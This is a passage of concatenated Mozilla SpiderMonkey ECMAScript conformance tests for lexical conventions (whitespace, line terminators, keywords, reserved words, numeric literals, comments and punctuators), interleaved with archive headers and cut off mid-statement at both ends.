eval('var'+'\f'+'MYVAR2=10;MYVAR2') ); new TestCase( SECTION, 'var'+'\v'+'MYVAR2=10;MYVAR2', 10, eval('var'+'\v'+'MYVAR2=10;MYVAR2') ); new TestCase( SECTION, 'var'+'\ '+'MYVAR2=10;MYVAR2', 10, eval('var'+'\ '+'MYVAR2=10;MYVAR2') ); // use whitespace between tokens object name, dot operator, and object property new TestCase( SECTION, "var a = new Array(12345); a\t\v\f .\\u0009\\000B\\u000C\\u0020length", 12345, eval("var a = new Array(12345); a\t\v\f .\u0009\u0020\u000C\u000Blength") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/browser.js0000664000175000017500000000000012106270663023671 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.2-3-n.js0000664000175000017500000000234112106270663023121 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.2-3.js ECMA Section: 7.2 Line Terminators Description: - readability - separate tokens - may occur between any two tokens - cannot occur within any token, not even a string - affect the process of automatic semicolon insertion. white space characters are: unicode name formal name string representation \u000A line feed \n \u000D carriage return \r this test uses onerror to capture line numbers. because we use on error, we can only have one test case per file. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.2-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Line Terminators"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "\r\nb"; EXPECTED = "error" new TestCase( SECTION, "a", "error", eval("\r\nb")); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-1-n.js0000664000175000017500000000236012106270663023262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-1.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var break = true"; EXPECTED = "error"; new TestCase( SECTION, "var break = true", "error", eval("var break = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-16-n.js0000664000175000017500000000236112106270663023351 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-16-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-16-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var with = true"; EXPECTED = "error"; new TestCase( SECTION, "var with = true", "error", eval("var with = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.8.2-n.js0000664000175000017500000000166612106270663023140 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.8.2.js ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion Description: compare some specific examples of the automatic insertion rules in the EMCA specification. Author: christine@netscape.com Date: 15 september 1997 */ var SECTION="7.8.2"; var VERSION="ECMA_1" startTest(); writeHeaderToLog(SECTION+" "+"Examples of Semicolon Insertion"); // new TestCase( "7.8.2", "{ 1 \n 2 } 3", 3, eval("{ 1 \n 2 } 3") ); DESCRIPTION = "{ 1 2 } 3"; EXPECTED = "error"; new TestCase( "7.8.2", "{ 1 2 } 3", "error", eval("{1 2 } 3") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-11-n.js0000664000175000017500000000236112106270663023344 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-11-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-11-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var this = true"; EXPECTED = "error"; new TestCase( SECTION, "var this = true", "error", eval("var this = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-4-n.js0000664000175000017500000000300412106270663023262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-4-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-4-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); var actual = 'no error'; var prefValue; print("This test requires option javascript.options.strict enabled"); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { eval("var super = true"); } catch(e) { actual = 'error'; } DESCRIPTION = "var super = true" EXPECTED = "error"; // force exception since this is a negative test if (actual == 'error') { throw actual; } new TestCase( SECTION, "var super = true", "error", actual ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-6-n.js0000664000175000017500000000237112106270663023271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-6.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-6-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var function = true"; EXPECTED = "error"; new TestCase( SECTION, "var function = true", "error", eval("var function = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-14-n.js0000664000175000017500000000235312106270663023350 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-14-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-14-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var in = true"; EXPECTED = "error"; new TestCase( SECTION, "var in = true", "error", eval("var in = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.7.3-1.js0000664000175000017500000000721012106270663023032 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.7.3-1.js ECMA Section: 7.7.3 Numeric Literals Description: A numeric literal stands for a value of the Number type This value is determined in two steps: first a mathematical value (MV) is derived from the literal; second, this mathematical value is rounded, ideally using IEEE 754 round-to-nearest mode, to a reprentable value of of the number type. These test cases came from Waldemar. Author: christine@netscape.com Date: 12 June 1998 */ var SECTION = "7.7.3-1"; var VERSION = "ECMA_1"; var TITLE = "Numeric Literals"; var BUGNUMBER="122877"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "0x12345678", 305419896, 0x12345678 ); new TestCase( SECTION, "0x80000000", 2147483648, 0x80000000 ); new TestCase( SECTION, "0xffffffff", 4294967295, 0xffffffff ); new TestCase( SECTION, "0x100000000", 4294967296, 0x100000000 ); new TestCase( SECTION, "077777777777777777", 2251799813685247, 077777777777777777 ); new TestCase( SECTION, "077777777777777776", 2251799813685246, 077777777777777776 ); new TestCase( SECTION, "0x1fffffffffffff", 9007199254740991, 0x1fffffffffffff ); new TestCase( SECTION, "0x20000000000000", 9007199254740992, 0x20000000000000 ); new TestCase( SECTION, "0x20123456789abc", 9027215253084860, 0x20123456789abc ); new TestCase( SECTION, "0x20123456789abd", 9027215253084860, 0x20123456789abd ); new TestCase( SECTION, "0x20123456789abe", 9027215253084862, 0x20123456789abe ); new TestCase( SECTION, "0x20123456789abf", 9027215253084864, 0x20123456789abf ); new TestCase( SECTION, "0x1000000000000080", 1152921504606847000, 0x1000000000000080 ); new TestCase( SECTION, "0x1000000000000081", 1152921504606847200, 0x1000000000000081 ); new TestCase( SECTION, "0x1000000000000100", 1152921504606847200, 0x1000000000000100 ); new TestCase( SECTION, "0x100000000000017f", 1152921504606847200, 0x100000000000017f ); new TestCase( SECTION, "0x1000000000000180", 1152921504606847500, 0x1000000000000180 ); new TestCase( SECTION, "0x1000000000000181", 1152921504606847500, 0x1000000000000181 ); new TestCase( SECTION, "0x10000000000001f0", 1152921504606847500, 0x10000000000001f0 ); new TestCase( SECTION, "0x1000000000000200", 1152921504606847500, 0x1000000000000200 ); new TestCase( SECTION, "0x100000000000027f", 1152921504606847500, 0x100000000000027f ); new TestCase( SECTION, "0x1000000000000280", 1152921504606847500, 0x1000000000000280 ); new TestCase( SECTION, "0x1000000000000281", 1152921504606847700, 0x1000000000000281 ); new TestCase( SECTION, "0x10000000000002ff", 1152921504606847700, 0x10000000000002ff ); new TestCase( SECTION, "0x1000000000000300", 1152921504606847700, 0x1000000000000300 ); new TestCase( SECTION, "0x10000000000000000", 18446744073709552000, 0x10000000000000000 ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-9-n.js0000664000175000017500000000300512106270663023270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-9-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); var actual = 'no error'; var prefValue; DESCRIPTION = "var class = true"; EXPECTED = "error"; print("This test requires option javascript.options.strict enabled"); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { eval("var class = true"); } catch(e) { actual = 'error'; } // force exception since this is a negative test if (actual == 'error') { throw actual; } new TestCase( SECTION, "var class = true", "error", actual ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.1-3.js0000664000175000017500000000367312106270663022676 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.1-3.js ECMA Section: 7.1 White Space Description: - readability - separate tokens - otherwise should be insignificant - in strings, white space characters are significant - cannot appear within any other kind of token white space characters are: unicode name formal name string representation \u0009 tab \t \u000B veritical tab ?? \U000C form feed \f \u0020 space " " Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "White Space"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "'var'+'\u000B'+'MYVAR1=10;MYVAR1'", 10, eval('var'+'\u000B'+'MYVAR1=10;MYVAR1') ); new TestCase( SECTION, "'var'+'\u0009'+'MYVAR2=10;MYVAR2'", 10, eval('var'+'\u0009'+'MYVAR2=10;MYVAR2') ); new TestCase( SECTION, "'var'+'\u000C'+'MYVAR3=10;MYVAR3'", 10, eval('var'+'\u000C'+'MYVAR3=10;MYVAR3') ); new TestCase( SECTION, "'var'+'\u0020'+'MYVAR4=10;MYVAR4'", 10, eval('var'+'\u0020'+'MYVAR4=10;MYVAR4') ); // ++ should be interpreted as the unary + operator twice, not as a post or prefix increment operator new TestCase( SECTION, "var VAR = 12345; + + VAR", 12345, eval("var VAR = 12345; + + VAR") ); new TestCase( SECTION, "var VAR = 12345;VAR+ + VAR", 24690, eval("var VAR = 12345;VAR+ +VAR") ); new TestCase( SECTION, "var VAR = 12345;VAR - - VAR", 24690, eval("var VAR = 12345;VAR- -VAR") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-1.js0000664000175000017500000000261012106270663022664 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-1.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase; testcase = new TestCase( SECTION, "a comment with a line terminator string, and text following", "pass", "pass"); // "\u000A" testcase.actual = "fail"; testcase = new TestCase( SECTION, "// test \\n testcase.actual = \"pass\"", "pass", "" ); var x = "// test \n testcase.actual = 'pass'"; testcase.actual = eval(x); test(); // XXX bc replace test() function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +": "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : " ignored chars after line terminator of single-line comment"; } stopTest(); return ( gTestcases ); } mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-11.js0000664000175000017500000000136412106270663022752 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-11.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "code following multiline comment", "pass", "pass"); ////testcase.actual="fail"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.2-5-n.js0000664000175000017500000000232012106270663023120 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.2.js ECMA Section: 7.2 Line Terminators Description: - readability - separate tokens - may occur between any two tokens - cannot occur within any token, not even a string - affect the process of automatic semicolon insertion. white space characters are: unicode name formal name string representation \u000A line feed \n \u000D carriage return \r this test uses onerror to capture line numbers. because we use on error, we can only have one test case per file. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.2-5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Line Terminators"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = EXPECTED = "error"; new TestCase( SECTION, "\rb", "error", eval("\rb")); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.2-4-n.js0000664000175000017500000000232712106270663023126 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.2.js ECMA Section: 7.2 Line Terminators Description: - readability - separate tokens - may occur between any two tokens - cannot occur within any token, not even a string - affect the process of automatic semicolon insertion. white space characters are: unicode name formal name string representation \u000A line feed \n \u000D carriage return \r this test uses onerror to capture line numbers. because we use on error, we can only have one test case per file. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.2-6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Line Terminators"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "\nb"; EXPECTED = "error"; new TestCase( SECTION, "\nb", "error", eval("\nb")); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-10-n.js0000664000175000017500000000166612106270663023213 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-9-n.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var 123=\"hi\""; EXPECTED = "error"; new TestCase( SECTION, "var 123=\"hi\"", "error", eval("123 = \"hi\"; array[item] = 123;") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-5-n.js0000664000175000017500000000162212106270663023127 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-5-n.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-5-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var 3abc"; EXPECTED = "error"; new TestCase( SECTION, "var 3abc", "error", eval("var 3abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-5-n.js0000664000175000017500000000237312106270663023272 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-5-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-5-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var continue = true"; EXPECTED = "error"; new TestCase( SECTION, "var continue = true", "error", eval("var continue = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.1-3-n.js0000664000175000017500000000151312106270663023262 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.1-3-n.js ECMA Section: 7.4.1 Description: Reserved words cannot be used as identifiers. ReservedWord :: Keyword FutureReservedWord NullLiteral BooleanLiteral Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; DESCRIPTION = "var false = true"; EXPECTED = "error"; new TestCase( SECTION, "var false = true", "error", eval("var false = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-2-n.js0000664000175000017500000000235412106270663023266 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-2-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var for = true"; EXPECTED = "error"; new TestCase( SECTION, "var for = true", "error", eval("var for = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-7.js0000664000175000017500000000140112106270663022667 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-7.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-7"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "single line comment following multiline comment", "pass", "pass"); /* ***///testcase.actual="fail"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-16-n.js0000664000175000017500000000252612106270663023355 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: lexical-023.js Corresponds To: 7.4.3-16-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "lexical-023.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); var result = "Failed"; var exception = "No exception thrown"; var expect = "Passed"; /* try { try = true; } catch ( e ) { result = expect; exception = e.toString(); } */ DESCRIPTION = "try = true"; EXPECTED = "error"; new TestCase( SECTION, "try = true" + " (threw " + exception +")", "error", eval("try = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.6.js0000664000175000017500000001321312106270663022532 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.6.js ECMA Section: Punctuators Description: This tests verifies that all ECMA punctutors are recognized as a token separator, but does not attempt to verify the functionality of any punctuator. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Punctuators"; writeHeaderToLog( SECTION + " "+ TITLE); // == new TestCase( SECTION, "var c,d;c==d", true, eval("var c,d;c==d") ); // = new TestCase( SECTION, "var a=true;a", true, eval("var a=true;a") ); // > new TestCase( SECTION, "var a=true,b=false;a>b", true, eval("var a=true,b=false;a>b") ); // < new TestCase( SECTION, "var a=true,b=false;a= new TestCase( SECTION, "var a=0xFFFF,b=0XFFFE;a>=b", true, eval("var a=0xFFFF,b=0XFFFE;a>=b") ); // != new TestCase( SECTION, "var a=true,b=false;a!=b", true, eval("var a=true,b=false;a!=b") ); new TestCase( SECTION, "var a=false,b=false;a!=b", false, eval("var a=false,b=false;a!=b") ); // , new TestCase( SECTION, "var a=true,b=false;a,b", false, eval("var a=true,b=false;a,b") ); // ! new TestCase( SECTION, "var a=true,b=false;!a", false, eval("var a=true,b=false;!a") ); // ~ new TestCase( SECTION, "var a=true;~a", -2, eval("var a=true;~a") ); // ? new TestCase( SECTION, "var a=true; (a ? 'PASS' : '')", "PASS", eval("var a=true; (a ? 'PASS' : '')") ); // : new TestCase( SECTION, "var a=false; (a ? 'FAIL' : 'PASS')", "PASS", eval("var a=false; (a ? 'FAIL' : 'PASS')") ); // . new TestCase( SECTION, "var a=Number;a.NaN", NaN, eval("var a=Number;a.NaN") ); // && new TestCase( SECTION, "var a=true,b=true;if(a&&b)'PASS';else'FAIL'", "PASS", eval("var a=true,b=true;if(a&&b)'PASS';else'FAIL'") ); // || new TestCase( SECTION, "var a=false,b=false;if(a||b)'FAIL';else'PASS'", "PASS", eval("var a=false,b=false;if(a||b)'FAIL';else'PASS'") ); // ++ new TestCase( SECTION, "var a=false,b=false;++a", 1, eval("var a=false,b=false;++a") ); // -- new TestCase( SECTION, "var a=true,b=false--a", 0, eval("var a=true,b=false;--a") ); // + new TestCase( SECTION, "var a=true,b=true;a+b", 2, eval("var a=true,b=true;a+b") ); // - new TestCase( SECTION, "var a=true,b=true;a-b", 0, eval("var a=true,b=true;a-b") ); // * new TestCase( SECTION, "var a=true,b=true;a*b", 1, eval("var a=true,b=true;a*b") ); // / new TestCase( SECTION, "var a=true,b=true;a/b", 1, eval("var a=true,b=true;a/b") ); // & new TestCase( SECTION, "var a=3,b=2;a&b", 2, eval("var a=3,b=2;a&b") ); // | new TestCase( SECTION, "var a=4,b=3;a|b", 7, eval("var a=4,b=3;a|b") ); // | new TestCase( SECTION, "var a=4,b=3;a^b", 7, eval("var a=4,b=3;a^b") ); // % new TestCase( SECTION, "var a=4,b=3;a|b", 1, eval("var a=4,b=3;a%b") ); // << new TestCase( SECTION, "var a=4,b=3;a<> new TestCase( SECTION, "var a=4,b=1;a>>b", 2, eval("var a=4,b=1;a>>b") ); // >>> new TestCase( SECTION, "var a=1,b=1;a>>>b", 0, eval("var a=1,b=1;a>>>b") ); // += new TestCase( SECTION, "var a=4,b=3;a+=b;a", 7, eval("var a=4,b=3;a+=b;a") ); // -= new TestCase( SECTION, "var a=4,b=3;a-=b;a", 1, eval("var a=4,b=3;a-=b;a") ); // *= new TestCase( SECTION, "var a=4,b=3;a*=b;a", 12, eval("var a=4,b=3;a*=b;a") ); // += new TestCase( SECTION, "var a=4,b=3;a+=b;a", 7, eval("var a=4,b=3;a+=b;a") ); // /= new TestCase( SECTION, "var a=12,b=3;a/=b;a", 4, eval("var a=12,b=3;a/=b;a") ); // &= new TestCase( SECTION, "var a=4,b=5;a&=b;a", 4, eval("var a=4,b=5;a&=b;a") ); // |= new TestCase( SECTION, "var a=4,b=5;a&=b;a", 5, eval("var 